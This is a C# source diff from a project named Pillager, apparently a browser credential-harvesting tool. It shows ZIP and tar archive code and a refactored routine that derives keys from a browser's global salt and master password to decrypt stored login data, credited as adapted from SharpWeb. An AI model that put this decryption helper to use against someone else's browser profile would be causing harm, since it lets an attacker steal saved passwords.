ZipFileStream.Write(BitConverter.GetBytes((ushort)encodedFilename.Length), 0, 2); // Filename in zip
|
||||
ZipFileStream.Write(BitConverter.GetBytes((ushort)extraInfo.Length), 0, 2); // extra length
|
||||
ZipFileStream.Write(BitConverter.GetBytes((ushort)encodedComment.Length), 0, 2);
|
||||
|
||||
ZipFileStream.Write(BitConverter.GetBytes((ushort)0), 0, 2); // disk=0
|
||||
ZipFileStream.Write(BitConverter.GetBytes((ushort)0), 0, 2); // file type: binary
|
||||
ZipFileStream.Write(BitConverter.GetBytes((ushort)0), 0, 2); // Internal file attributes
|
||||
ZipFileStream.Write(BitConverter.GetBytes((ushort)0x8100), 0, 2); // External file attributes (normal/readable)
|
||||
ZipFileStream.Write(BitConverter.GetBytes(_zfe.HeaderOffset), 0, 4); // Offset of header
|
||||
|
||||
ZipFileStream.Write(encodedFilename, 0, encodedFilename.Length);
|
||||
ZipFileStream.Write(extraInfo, 0, extraInfo.Length);
|
||||
ZipFileStream.Write(encodedComment, 0, encodedComment.Length);
|
||||
}
|
||||
/* End of central dir record:
|
||||
end of central dir signature 4 bytes (0x06054b50)
|
||||
number of this disk 2 bytes
|
||||
number of the disk with the
|
||||
start of the central directory 2 bytes
|
||||
total number of entries in
|
||||
the central dir on this disk 2 bytes
|
||||
total number of entries in
|
||||
the central dir 2 bytes
|
||||
size of the central directory 4 bytes
|
||||
offset of start of central
|
||||
directory with respect to
|
||||
the starting disk number 4 bytes
|
||||
zipfile comment length 2 bytes
|
||||
zipfile comment (variable size)
|
||||
*/
|
||||
private void WriteEndRecord(uint _size, uint _offset)
|
||||
{
|
||||
Encoding encoder = EncodeUTF8 ? Encoding.UTF8 : DefaultEncoding;
|
||||
byte[] encodedComment = encoder.GetBytes(Comment);
|
||||
|
||||
ZipFileStream.Write(new byte[] { 80, 75, 5, 6, 0, 0, 0, 0 }, 0, 8);
|
||||
ZipFileStream.Write(BitConverter.GetBytes((ushort)Files.Count + ExistingFiles), 0, 2);
|
||||
ZipFileStream.Write(BitConverter.GetBytes((ushort)Files.Count + ExistingFiles), 0, 2);
|
||||
ZipFileStream.Write(BitConverter.GetBytes(_size), 0, 4);
|
||||
ZipFileStream.Write(BitConverter.GetBytes(_offset), 0, 4);
|
||||
ZipFileStream.Write(BitConverter.GetBytes((ushort)encodedComment.Length), 0, 2);
|
||||
ZipFileStream.Write(encodedComment, 0, encodedComment.Length);
|
||||
}
|
||||
// Copies all source file into storage file
|
||||
private Compression Store(ZipFileEntry _zfe, Stream _source)
|
||||
{
|
||||
byte[] buffer = new byte[16384];
|
||||
int bytesRead;
|
||||
uint totalRead = 0;
|
||||
Stream outStream;
|
||||
|
||||
long posStart = ZipFileStream.Position;
|
||||
long sourceStart = _source.CanSeek ? _source.Position : 0;
|
||||
|
||||
outStream = _zfe.Method == Compression.Store ? ZipFileStream : new DeflateStream(ZipFileStream, CompressionMode.Compress, true);
|
||||
|
||||
_zfe.Crc32 = 0 ^ 0xffffffff;
|
||||
|
||||
do
|
||||
{
|
||||
bytesRead = _source.Read(buffer, 0, buffer.Length);
|
||||
|
||||
totalRead += (uint)bytesRead;
|
||||
if (bytesRead > 0)
|
||||
{
|
||||
outStream.Write(buffer, 0, bytesRead);
|
||||
|
||||
for (uint i = 0; i < bytesRead; i++)
|
||||
{
|
||||
_zfe.Crc32 = CrcTable[(_zfe.Crc32 ^ buffer[i]) & 0xFF] ^ (_zfe.Crc32 >> 8);
|
||||
}
|
||||
}
|
||||
} while (bytesRead > 0);
|
||||
outStream.Flush();
|
||||
|
||||
if (_zfe.Method == Compression.Deflate)
|
||||
outStream.Dispose();
|
||||
|
||||
_zfe.Crc32 ^= 0xffffffff;
|
||||
_zfe.FileSize = totalRead;
|
||||
_zfe.CompressedSize = (uint)(ZipFileStream.Position - posStart);
|
||||
|
||||
// Verify for real compression
|
||||
if (_zfe.Method == Compression.Deflate && !ForceDeflating && _source.CanSeek && _zfe.CompressedSize > _zfe.FileSize)
|
||||
{
|
||||
// Start operation again with Store algorithm
|
||||
_zfe.Method = Compression.Store;
|
||||
ZipFileStream.Position = posStart;
|
||||
ZipFileStream.SetLength(posStart);
|
||||
_source.Position = sourceStart;
|
||||
|
||||
return Store(_zfe, _source);
|
||||
}
|
||||
|
||||
return _zfe.Method;
|
||||
}
|
||||
/* DOS Date and time:
|
||||
MS-DOS date. The date is a packed value with the following format. Bits Description
|
||||
0-4 Day of the month (131)
|
||||
5-8 Month (1 = January, 2 = February, and so on)
|
||||
9-15 Year offset from 1980 (add 1980 to get actual year)
|
||||
MS-DOS time. The time is a packed value with the following format. Bits Description
|
||||
0-4 Second divided by 2
|
||||
5-10 Minute (059)
|
||||
11-15 Hour (023 on a 24-hour clock)
|
||||
*/
|
||||
private uint DateTimeToDosTime(DateTime _dt)
|
||||
{
|
||||
return (uint)(
|
||||
(_dt.Second / 2) | (_dt.Minute << 5) | (_dt.Hour << 11) |
|
||||
(_dt.Day << 16) | (_dt.Month << 21) | ((_dt.Year - 1980) << 25));
|
||||
}
|
||||
private byte[] CreateExtraInfo(ZipFileEntry _zfe)
|
||||
{
|
||||
byte[] buffer = new byte[36];
|
||||
BitConverter.GetBytes((ushort)0x000A).CopyTo(buffer, 0); // NTFS FileTime
|
||||
BitConverter.GetBytes((ushort)32).CopyTo(buffer, 2); // Length
|
||||
BitConverter.GetBytes((ushort)1).CopyTo(buffer, 8); // Tag 1
|
||||
BitConverter.GetBytes((ushort)24).CopyTo(buffer, 10); // Size 1
|
||||
BitConverter.GetBytes(_zfe.ModifyTime.ToFileTime()).CopyTo(buffer, 12); // MTime
|
||||
BitConverter.GetBytes(_zfe.AccessTime.ToFileTime()).CopyTo(buffer, 20); // ATime
|
||||
BitConverter.GetBytes(_zfe.CreationTime.ToFileTime()).CopyTo(buffer, 28); // CTime
|
||||
|
||||
return buffer;
|
||||
}
|
||||
|
||||
/* CRC32 algorithm
|
||||
The 'magic number' for the CRC is 0xdebb20e3.
|
||||
The proper CRC pre and post conditioning is used, meaning that the CRC register is
|
||||
pre-conditioned with all ones (a starting value of 0xffffffff) and the value is post-conditioned by
|
||||
taking the one's complement of the CRC residual.
|
||||
If bit 3 of the general purpose flag is set, this field is set to zero in the local header and the correct
|
||||
value is put in the data descriptor and in the central directory.
|
||||
*/
|
||||
private void UpdateCrcAndSizes(ZipFileEntry _zfe)
|
||||
{
|
||||
long lastPos = ZipFileStream.Position; // remember position
|
||||
|
||||
ZipFileStream.Position = _zfe.HeaderOffset + 8;
|
||||
ZipFileStream.Write(BitConverter.GetBytes((ushort)_zfe.Method), 0, 2); // zipping method
|
||||
|
||||
ZipFileStream.Position = _zfe.HeaderOffset + 14;
|
||||
ZipFileStream.Write(BitConverter.GetBytes(_zfe.Crc32), 0, 4); // Update CRC
|
||||
ZipFileStream.Write(BitConverter.GetBytes(_zfe.CompressedSize), 0, 4); // Compressed size
|
||||
ZipFileStream.Write(BitConverter.GetBytes(_zfe.FileSize), 0, 4); // Uncompressed size
|
||||
|
||||
ZipFileStream.Position = lastPos; // restore position
|
||||
}
|
||||
// Replaces backslashes with slashes to store in zip header
|
||||
private string NormalizedFilename(string _filename)
|
||||
{
|
||||
string filename = _filename.Replace('\\', '/');
|
||||
|
||||
int pos = filename.IndexOf(':');
|
||||
if (pos >= 0)
|
||||
filename = filename.Remove(0, pos + 1);
|
||||
|
||||
return filename.Trim('/');
|
||||
}
|
||||
// Reads the end-of-central-directory record
|
||||
private bool ReadFileInfo()
|
||||
{
|
||||
if (ZipFileStream.Length < 22)
|
||||
return false;
|
||||
|
||||
try
|
||||
{
|
||||
ZipFileStream.Seek(-17, SeekOrigin.End);
|
||||
BinaryReader br = new BinaryReader(ZipFileStream);
|
||||
do
|
||||
{
|
||||
ZipFileStream.Seek(-5, SeekOrigin.Current);
|
||||
uint sig = br.ReadUInt32();
|
||||
if (sig == 0x06054b50)
|
||||
{
|
||||
ZipFileStream.Seek(6, SeekOrigin.Current);
|
||||
|
||||
ushort entries = br.ReadUInt16();
|
||||
int centralSize = br.ReadInt32();
|
||||
uint centralDirOffset = br.ReadUInt32();
|
||||
ushort commentSize = br.ReadUInt16();
|
||||
|
||||
// check if comment field is the very last data in file
|
||||
if (ZipFileStream.Position + commentSize != ZipFileStream.Length)
|
||||
return false;
|
||||
|
||||
// Copy entire central directory to a memory buffer
|
||||
ExistingFiles = entries;
|
||||
CentralDirImage = new byte[centralSize];
|
||||
ZipFileStream.Seek(centralDirOffset, SeekOrigin.Begin);
|
||||
ZipFileStream.Read(CentralDirImage, 0, centralSize);
|
||||
|
||||
// Leave the pointer at the begining of central dir, to append new files
|
||||
ZipFileStream.Seek(centralDirOffset, SeekOrigin.Begin);
|
||||
return true;
|
||||
}
|
||||
} while (ZipFileStream.Position > 0);
|
||||
}
|
||||
catch { }
|
||||
|
||||
return false;
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region IDisposable Members
|
||||
/// <summary>
|
||||
/// Closes the Zip file stream
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Close();
|
||||
}
|
||||
#endregion
|
||||
}
|
||||
}
|
|
@ -1,6 +1,4 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace Pillager.Helper
|
||||
|
@ -25,44 +23,38 @@ namespace Pillager.Helper
|
|||
|
||||
public byte[] Compute()
|
||||
{
|
||||
byte[] GLMP; // GlobalSalt + MasterPassword
|
||||
byte[] HP; // SHA1(GLMP)
|
||||
byte[] HPES; // HP + EntrySalt
|
||||
byte[] CHP; // SHA1(HPES)
|
||||
byte[] PES; // EntrySalt completed to 20 bytes by zero
|
||||
byte[] PESES; // PES + EntrySalt
|
||||
byte[] k1;
|
||||
byte[] tk;
|
||||
byte[] k2;
|
||||
byte[] k; // final value conytaining key and iv
|
||||
|
||||
// GLMP
|
||||
GLMP = new byte[this.GlobalSalt.Length + this.MasterPassword.Length];
|
||||
Buffer.BlockCopy(this.GlobalSalt, 0, GLMP, 0, this.GlobalSalt.Length);
|
||||
Buffer.BlockCopy(this.MasterPassword, 0, GLMP, this.GlobalSalt.Length, this.MasterPassword.Length);
|
||||
var GLMP = new byte[GlobalSalt.Length + MasterPassword.Length]; // GlobalSalt + MasterPassword
|
||||
Buffer.BlockCopy(GlobalSalt, 0, GLMP, 0, GlobalSalt.Length);
|
||||
Buffer.BlockCopy(MasterPassword, 0, GLMP, GlobalSalt.Length, MasterPassword.Length);
|
||||
|
||||
// HP
|
||||
HP = new SHA1Managed().ComputeHash(GLMP);
|
||||
var HP = new SHA1Managed().ComputeHash(GLMP); // SHA1(GLMP)
|
||||
|
||||
// HPES
|
||||
HPES = new byte[HP.Length + this.EntrySalt.Length];
|
||||
var HPES = new byte[HP.Length + EntrySalt.Length]; // HP + EntrySalt
|
||||
Buffer.BlockCopy(HP, 0, HPES, 0, HP.Length);
|
||||
Buffer.BlockCopy(this.EntrySalt, 0, HPES, this.EntrySalt.Length, HP.Length);
|
||||
Buffer.BlockCopy(EntrySalt, 0, HPES, EntrySalt.Length, HP.Length);
|
||||
|
||||
// CHP
|
||||
CHP = new SHA1Managed().ComputeHash(HPES);
|
||||
var CHP = new SHA1Managed().ComputeHash(HPES); // SHA1(HPES)
|
||||
|
||||
//PES
|
||||
PES = new byte[20];
|
||||
Array.Copy(this.EntrySalt, 0, PES, 0, this.EntrySalt.Length);
|
||||
for (int i = this.EntrySalt.Length; i < 20; i++)
|
||||
var PES = new byte[20]; // EntrySalt completed to 20 bytes by zero
|
||||
Array.Copy(EntrySalt, 0, PES, 0, EntrySalt.Length);
|
||||
for (int i = EntrySalt.Length; i < 20; i++)
|
||||
{
|
||||
PES[i] = 0;
|
||||
}
|
||||
|
||||
// PESES
|
||||
PESES = new byte[PES.Length + this.EntrySalt.Length];
|
||||
var PESES = new byte[PES.Length + EntrySalt.Length]; // PES + EntrySalt
|
||||
Array.Copy(PES, 0, PESES, 0, PES.Length);
|
||||
Array.Copy(this.EntrySalt, 0, PESES, PES.Length, this.EntrySalt.Length);
|
||||
Array.Copy(EntrySalt, 0, PESES, PES.Length, EntrySalt.Length);
|
||||
|
||||
using (HMACSHA1 hmac = new HMACSHA1(CHP))
|
||||
{
|
||||
|
@ -71,35 +63,35 @@ namespace Pillager.Helper
|
|||
// tk
|
||||
tk = hmac.ComputeHash(PES);
|
||||
// tkES
|
||||
byte[] tkES = new byte[tk.Length + this.EntrySalt.Length];
|
||||
byte[] tkES = new byte[tk.Length + EntrySalt.Length];
|
||||
Buffer.BlockCopy(tk, 0, tkES, 0, tk.Length);
|
||||
Buffer.BlockCopy(this.EntrySalt, 0, tkES, tk.Length, this.EntrySalt.Length);
|
||||
Buffer.BlockCopy(EntrySalt, 0, tkES, tk.Length, EntrySalt.Length);
|
||||
// k2
|
||||
k2 = hmac.ComputeHash(tkES);
|
||||
}
|
||||
|
||||
// k
|
||||
k = new byte[k1.Length + k2.Length];
|
||||
var k = new byte[k1.Length + k2.Length]; // final value conytaining key and iv
|
||||
Array.Copy(k1, 0, k, 0, k1.Length);
|
||||
Array.Copy(k2, 0, k, k1.Length, k2.Length);
|
||||
|
||||
this.Key = new byte[24];
|
||||
Key = new byte[24];
|
||||
|
||||
for (int i = 0; i < this.Key.Length; i++)
|
||||
for (int i = 0; i < Key.Length; i++)
|
||||
{
|
||||
this.Key[i] = k[i];
|
||||
Key[i] = k[i];
|
||||
}
|
||||
|
||||
this.IV = new byte[8];
|
||||
int j = this.IV.Length - 1;
|
||||
IV = new byte[8];
|
||||
int j = IV.Length - 1;
|
||||
|
||||
for (int i = k.Length - 1; i >= k.Length - this.IV.Length; i--)
|
||||
for (int i = k.Length - 1; i >= k.Length - IV.Length; i--)
|
||||
{
|
||||
this.IV[j] = k[i];
|
||||
IV[j] = k[i];
|
||||
j--;
|
||||
}
|
||||
|
||||
byte[] decryptedCiphertext = TripleDESHelper.DESCBCDecryptorByte(this.Key, this.IV, cipherText);
|
||||
byte[] decryptedCiphertext = TripleDESHelper.DESCBCDecryptorByte(Key, IV, cipherText);
|
||||
|
||||
// Trim decrypted password-check - we only need the first 24 bytes
|
||||
byte[] clearText = new byte[24];
|
||||
|
|
|
@ -1,5 +1,4 @@
|
|||
using System;
|
||||
using System.Reflection;
|
||||
|
||||
|
||||
// Adapted from SharpWeb (https://github.com/djhohnstein/SharpWeb)
|
||||
namespace Pillager.Helper
|
||||
|
|
|
@ -1,48 +0,0 @@
|
|||
using System.IO;
|
||||
|
||||
namespace tar_cs
|
||||
{
|
||||
internal class DataWriter : IArchiveDataWriter
|
||||
{
|
||||
private readonly long size;
|
||||
private long remainingBytes;
|
||||
private bool canWrite = true;
|
||||
private readonly Stream stream;
|
||||
|
||||
public DataWriter(Stream data, long dataSizeInBytes)
|
||||
{
|
||||
size = dataSizeInBytes;
|
||||
remainingBytes = size;
|
||||
stream = data;
|
||||
}
|
||||
|
||||
public int Write(byte[] buffer, int count)
|
||||
{
|
||||
if(remainingBytes == 0)
|
||||
{
|
||||
canWrite = false;
|
||||
return -1;
|
||||
}
|
||||
int bytesToWrite;
|
||||
if(remainingBytes - count < 0)
|
||||
{
|
||||
bytesToWrite = (int)remainingBytes;
|
||||
}
|
||||
else
|
||||
{
|
||||
bytesToWrite = count;
|
||||
}
|
||||
stream.Write(buffer,0,bytesToWrite);
|
||||
remainingBytes -= bytesToWrite;
|
||||
return bytesToWrite;
|
||||
}
|
||||
|
||||
public bool CanWrite
|
||||
{
|
||||
get
|
||||
{
|
||||
return canWrite;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,14 +0,0 @@
|
|||
namespace tar_cs
|
||||
{
|
||||
public interface IArchiveDataWriter
|
||||
{
|
||||
/// <summary>
|
||||
/// Write `length` bytes of data from `buffer` to corresponding archive.
|
||||
/// </summary>
|
||||
/// <param name="buffer">data storage</param>
|
||||
/// <param name="count">how many bytes to be written to the corresponding archive</param>
|
||||
int Write(byte[] buffer, int count);
|
||||
bool CanWrite { get; }
|
||||
}
|
||||
public delegate void WriteDataDelegate(IArchiveDataWriter writer);
|
||||
}
|
|
@ -1,30 +0,0 @@
|
|||
using System;
|
||||
|
||||
namespace tar_cs
|
||||
{
|
||||
public enum EntryType : byte
|
||||
{
|
||||
File = 0,
|
||||
FileObsolete = 0x30,
|
||||
HardLink = 0x31,
|
||||
SymLink = 0x32,
|
||||
CharDevice = 0x33,
|
||||
BlockDevice = 0x34,
|
||||
Directory = 0x35,
|
||||
Fifo = 0x36,
|
||||
}
|
||||
|
||||
public interface ITarHeader
|
||||
{
|
||||
string FileName { get; set; }
|
||||
int Mode { get; set; }
|
||||
int UserId { get; set; }
|
||||
string UserName { get; set; }
|
||||
int GroupId { get; set; }
|
||||
string GroupName { get; set; }
|
||||
long SizeInBytes { get; set; }
|
||||
DateTime LastModification { get; set; }
|
||||
int HeaderSize { get; }
|
||||
EntryType EntryType { get; set; }
|
||||
}
|
||||
}
|
|
@ -1,181 +0,0 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using tar_cs;
|
||||
|
||||
namespace tar_cs
|
||||
{
|
||||
public class LegacyTarWriter : IDisposable
|
||||
{
|
||||
private readonly Stream outStream;
|
||||
protected byte[] buffer = new byte[1024];
|
||||
private bool isClosed;
|
||||
public bool ReadOnZero = true;
|
||||
|
||||
/// <summary>
|
||||
/// Writes tar (see GNU tar) archive to a stream
|
||||
/// </summary>
|
||||
/// <param name="writeStream">stream to write archive to</param>
|
||||
public LegacyTarWriter(Stream writeStream)
|
||||
{
|
||||
outStream = writeStream;
|
||||
}
|
||||
|
||||
protected virtual Stream OutStream
|
||||
{
|
||||
get { return outStream; }
|
||||
}
|
||||
|
||||
#region IDisposable Members
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Close();
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
|
||||
public void WriteDirectoryEntry(string basepath,string path,int userId, int groupId, int mode)
|
||||
{
|
||||
if (string.IsNullOrEmpty(path))
|
||||
throw new ArgumentNullException("path");
|
||||
path = path.Replace(basepath, "").Replace("\\", "/");
|
||||
if (path=="") path += '/';
|
||||
if (path[path.Length - 1] != '/')
|
||||
{
|
||||
path += '/';
|
||||
}
|
||||
DateTime lastWriteTime;
|
||||
if (Directory.Exists(path))
|
||||
{
|
||||
lastWriteTime = Directory.GetLastWriteTime(path);
|
||||
}
|
||||
else
|
||||
{
|
||||
lastWriteTime = DateTime.Now;
|
||||
}
|
||||
WriteHeader(basepath,path, lastWriteTime, 0, userId, groupId, mode, EntryType.Directory);
|
||||
}
|
||||
|
||||
public void WriteDirectoryEntry(string basepath, string path)
|
||||
{
|
||||
WriteDirectoryEntry(basepath,path, 101, 101, 0777);
|
||||
}
|
||||
|
||||
public void WriteDirectory(string basepath,string directory, bool doRecursive)
|
||||
{
|
||||
if (string.IsNullOrEmpty(directory))
|
||||
throw new ArgumentNullException("directory");
|
||||
|
||||
WriteDirectoryEntry(basepath,directory);
|
||||
|
||||
string[] files = Directory.GetFiles(directory);
|
||||
foreach(var fileName in files)
|
||||
{
|
||||
Write(basepath,fileName);
|
||||
}
|
||||
|
||||
string[] directories = Directory.GetDirectories(directory);
|
||||
foreach(var dirName in directories)
|
||||
{
|
||||
WriteDirectoryEntry(basepath,dirName);
|
||||
if(doRecursive)
|
||||
{
|
||||
WriteDirectory(basepath,dirName, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public void Write(string basepath, string fileName)
|
||||
{
|
||||
if(string.IsNullOrEmpty(fileName))
|
||||
throw new ArgumentNullException("fileName");
|
||||
using (FileStream file = File.OpenRead(fileName))
|
||||
{
|
||||
Write(basepath,file, file.Length, fileName, 61, 61, 511, File.GetLastWriteTime(file.Name));
|
||||
}
|
||||
}
|
||||
|
||||
public virtual void Write(string basepath, Stream data, long dataSizeInBytes, string name, int userId, int groupId, int mode,
|
||||
DateTime lastModificationTime)
|
||||
{
|
||||
if(isClosed)
|
||||
throw new TarException("Can not write to the closed writer");
|
||||
WriteHeader(basepath, name, lastModificationTime, dataSizeInBytes, userId, groupId, mode, EntryType.File);
|
||||
WriteContent(dataSizeInBytes, data);
|
||||
AlignTo512(dataSizeInBytes,false);
|
||||
}
|
||||
|
||||
protected void WriteContent(long count, Stream data)
|
||||
{
|
||||
while (count > 0 && count > buffer.Length)
|
||||
{
|
||||
int bytesRead = data.Read(buffer, 0, buffer.Length);
|
||||
if (bytesRead < 0)
|
||||
throw new IOException("LegacyTarWriter unable to read from provided stream");
|
||||
if (bytesRead == 0)
|
||||
{
|
||||
if (ReadOnZero)
|
||||
Thread.Sleep(100);
|
||||
else
|
||||
break;
|
||||
}
|
||||
OutStream.Write(buffer, 0, bytesRead);
|
||||
count -= bytesRead;
|
||||
}
|
||||
if (count > 0)
|
||||
{
|
||||
int bytesRead = data.Read(buffer, 0, (int) count);
|
||||
if (bytesRead < 0)
|
||||
throw new IOException("LegacyTarWriter unable to read from provided stream");
|
||||
if (bytesRead == 0)
|
||||
{
|
||||
while (count > 0)
|
||||
{
|
||||
OutStream.WriteByte(0);
|
||||
--count;
|
||||
}
|
||||
}
|
||||
else
|
||||
OutStream.Write(buffer, 0, bytesRead);
|
||||
}
|
||||
}
|
||||
|
||||
protected virtual void WriteHeader(string basepath, string name, DateTime lastModificationTime, long count, int userId, int groupId, int mode, EntryType entryType)
|
||||
{
|
||||
var header = new TarHeader
|
||||
{
|
||||
FileName = name.Replace(basepath, "").Replace("\\", "/"),
|
||||
LastModification = lastModificationTime,
|
||||
SizeInBytes = count,
|
||||
UserId = userId,
|
||||
GroupId = groupId,
|
||||
Mode = mode,
|
||||
EntryType = entryType
|
||||
};
|
||||
OutStream.Write(header.GetHeaderValue(), 0, header.HeaderSize);
|
||||
}
|
||||
|
||||
|
||||
public void AlignTo512(long size,bool acceptZero)
|
||||
{
|
||||
size = size%512;
|
||||
if (size == 0 && !acceptZero) return;
|
||||
while (size < 512)
|
||||
{
|
||||
OutStream.WriteByte(0);
|
||||
size++;
|
||||
}
|
||||
}
|
||||
|
||||
public virtual void Close()
|
||||
{
|
||||
if (isClosed) return;
|
||||
AlignTo512(0,true);
|
||||
AlignTo512(0,true);
|
||||
isClosed = true;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,11 +0,0 @@
|
|||
using System;
|
||||
|
||||
namespace tar_cs
|
||||
{
|
||||
public class TarException : Exception
|
||||
{
|
||||
public TarException(string message) : base(message)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,197 +0,0 @@
|
|||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Net;
|
||||
using System.Text;
|
||||
using tar_cs;
|
||||
|
||||
namespace tar_cs
|
||||
{
|
||||
internal class TarHeader : ITarHeader
|
||||
{
|
||||
private readonly byte[] buffer = new byte[512];
|
||||
private long headerChecksum;
|
||||
|
||||
public TarHeader()
|
||||
{
|
||||
// Default values
|
||||
Mode = 511; // 0777 dec
|
||||
UserId = 61; // 101 dec
|
||||
GroupId = 61; // 101 dec
|
||||
}
|
||||
|
||||
private string fileName;
|
||||
protected readonly DateTime TheEpoch = new DateTime(1970, 1, 1, 0, 0, 0);
|
||||
public EntryType EntryType { get; set; }
|
||||
private static byte[] spaces = Encoding.ASCII.GetBytes(" ");
|
||||
|
||||
public virtual string FileName
|
||||
{
|
||||
get
|
||||
{
|
||||
return fileName.Replace("\0",string.Empty);
|
||||
}
|
||||
set
|
||||
{
|
||||
if(value.Length > 100)
|
||||
{
|
||||
throw new TarException("A file name can not be more than 100 chars long");
|
||||
}
|
||||
fileName = value;
|
||||
}
|
||||
}
|
||||
public int Mode { get; set; }
|
||||
|
||||
public string ModeString
|
||||
{
|
||||
get { return Convert.ToString(Mode, 8).PadLeft(7, '0'); }
|
||||
}
|
||||
|
||||
public int UserId { get; set; }
|
||||
public virtual string UserName
|
||||
{
|
||||
get { return UserId.ToString(); }
|
||||
set { UserId = Int32.Parse(value); }
|
||||
}
|
||||
|
||||
public string UserIdString
|
||||
{
|
||||
get { return Convert.ToString(UserId, 8).PadLeft(7, '0'); }
|
||||
}
|
||||
|
||||
public int GroupId { get; set; }
|
||||
public virtual string GroupName
|
||||
{
|
||||
get { return GroupId.ToString(); }
|
||||
set { GroupId = Int32.Parse(value); }
|
||||
}
|
||||
|
||||
public string GroupIdString
|
||||
{
|
||||
get { return Convert.ToString(GroupId, 8).PadLeft(7, '0'); }
|
||||
}
|
||||
|
||||
public long SizeInBytes { get; set; }
|
||||
|
||||
public string SizeString
|
||||
{
|
||||
get { return Convert.ToString(SizeInBytes, 8).PadLeft(11, '0'); }
|
||||
}
|
||||
|
||||
public DateTime LastModification { get; set; }
|
||||
|
||||
public string LastModificationString
|
||||
{
|
||||
get
|
||||
{
|
||||
return Convert.ToString((long)(LastModification - TheEpoch).TotalSeconds, 8).PadLeft(11, '0');
|
||||
}
|
||||
}
|
||||
|
||||
public string HeaderChecksumString
|
||||
{
|
||||
get { return Convert.ToString(headerChecksum, 8).PadLeft(6, '0'); }
|
||||
}
|
||||
|
||||
|
||||
public virtual int HeaderSize
|
||||
{
|
||||
get { return 512; }
|
||||
}
|
||||
|
||||
public byte[] GetBytes()
|
||||
{
|
||||
return buffer;
|
||||
}
|
||||
|
||||
public virtual bool UpdateHeaderFromBytes()
|
||||
{
|
||||
FileName = Encoding.ASCII.GetString(buffer, 0, 100);
|
||||
// thanks to Shasha Alperocivh. Trimming nulls.
|
||||
Mode = Convert.ToInt32(Encoding.ASCII.GetString(buffer, 100, 7).Trim(), 8);
|
||||
UserId = Convert.ToInt32(Encoding.ASCII.GetString(buffer, 108, 7).Trim(), 8);
|
||||
GroupId = Convert.ToInt32(Encoding.ASCII.GetString(buffer, 116, 7).Trim(), 8);
|
||||
|
||||
EntryType = (EntryType)buffer[156];
|
||||
|
||||
if((buffer[124] & 0x80) == 0x80) // if size in binary
|
||||
{
|
||||
long sizeBigEndian = BitConverter.ToInt64(buffer,0x80);
|
||||
SizeInBytes = IPAddress.NetworkToHostOrder(sizeBigEndian);
|
||||
}
|
||||
else
|
||||
{
|
||||
SizeInBytes = Convert.ToInt64(Encoding.ASCII.GetString(buffer, 124, 11), 8);
|
||||
}
|
||||
long unixTimeStamp = Convert.ToInt64(Encoding.ASCII.GetString(buffer,136,11),8);
|
||||
LastModification = TheEpoch.AddSeconds(unixTimeStamp);
|
||||
|
||||
var storedChecksum = Convert.ToInt32(Encoding.ASCII.GetString(buffer,148,6));
|
||||
RecalculateChecksum(buffer);
|
||||
if (storedChecksum == headerChecksum)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
RecalculateAltChecksum(buffer);
|
||||
return storedChecksum == headerChecksum;
|
||||
}
|
||||
|
||||
private void RecalculateAltChecksum(byte[] buf)
|
||||
{
|
||||
spaces.CopyTo(buf, 148);
|
||||
headerChecksum = 0;
|
||||
foreach(byte b in buf)
|
||||
{
|
||||
if((b & 0x80) == 0x80)
|
||||
{
|
||||
headerChecksum -= b ^ 0x80;
|
||||
}
|
||||
else
|
||||
{
|
||||
headerChecksum += b;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public virtual byte[] GetHeaderValue()
|
||||
{
|
||||
// Clean old values
|
||||
Array.Clear(buffer,0, buffer.Length);
|
||||
|
||||
if (string.IsNullOrEmpty(FileName)) throw new TarException("FileName can not be empty.");
|
||||
if (FileName.Length >= 100) throw new TarException("FileName is too long. It must be less than 100 bytes.");
|
||||
|
||||
// Fill header
|
||||
Encoding.ASCII.GetBytes(FileName.PadRight(100, '\0')).CopyTo(buffer, 0);
|
||||
Encoding.ASCII.GetBytes(ModeString).CopyTo(buffer, 100);
|
||||
Encoding.ASCII.GetBytes(UserIdString).CopyTo(buffer, 108);
|
||||
Encoding.ASCII.GetBytes(GroupIdString).CopyTo(buffer, 116);
|
||||
Encoding.ASCII.GetBytes(SizeString).CopyTo(buffer, 124);
|
||||
Encoding.ASCII.GetBytes(LastModificationString).CopyTo(buffer, 136);
|
||||
|
||||
// buffer[156] = 20;
|
||||
buffer[156] = ((byte) EntryType);
|
||||
|
||||
|
||||
RecalculateChecksum(buffer);
|
||||
|
||||
// Write checksum
|
||||
Encoding.ASCII.GetBytes(HeaderChecksumString).CopyTo(buffer, 148);
|
||||
|
||||
return buffer;
|
||||
}
|
||||
|
||||
protected virtual void RecalculateChecksum(byte[] buf)
|
||||
{
|
||||
// Set default value for checksum. That is 8 spaces.
|
||||
spaces.CopyTo(buf, 148);
|
||||
|
||||
// Calculate checksum
|
||||
headerChecksum = 0;
|
||||
foreach (byte b in buf)
|
||||
{
|
||||
headerChecksum += b;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,46 +0,0 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace tar_cs
|
||||
{
|
||||
public class TarWriter : LegacyTarWriter
|
||||
{
|
||||
|
||||
public TarWriter(Stream writeStream) : base(writeStream)
|
||||
{
|
||||
}
|
||||
|
||||
protected override void WriteHeader(string basepath, string name, DateTime lastModificationTime, long count, int userId, int groupId, int mode, EntryType entryType)
|
||||
{
|
||||
var tarHeader = new UsTarHeader()
|
||||
{
|
||||
FileName = name.Replace(basepath, "").Replace("\\", "/"),
|
||||
LastModification = lastModificationTime,
|
||||
SizeInBytes = count,
|
||||
UserId = userId,
|
||||
UserName = Convert.ToString(userId,8),
|
||||
GroupId = groupId,
|
||||
GroupName = Convert.ToString(groupId,8),
|
||||
Mode = mode,
|
||||
EntryType = entryType
|
||||
};
|
||||
OutStream.Write(tarHeader.GetHeaderValue(), 0, tarHeader.HeaderSize);
|
||||
}
|
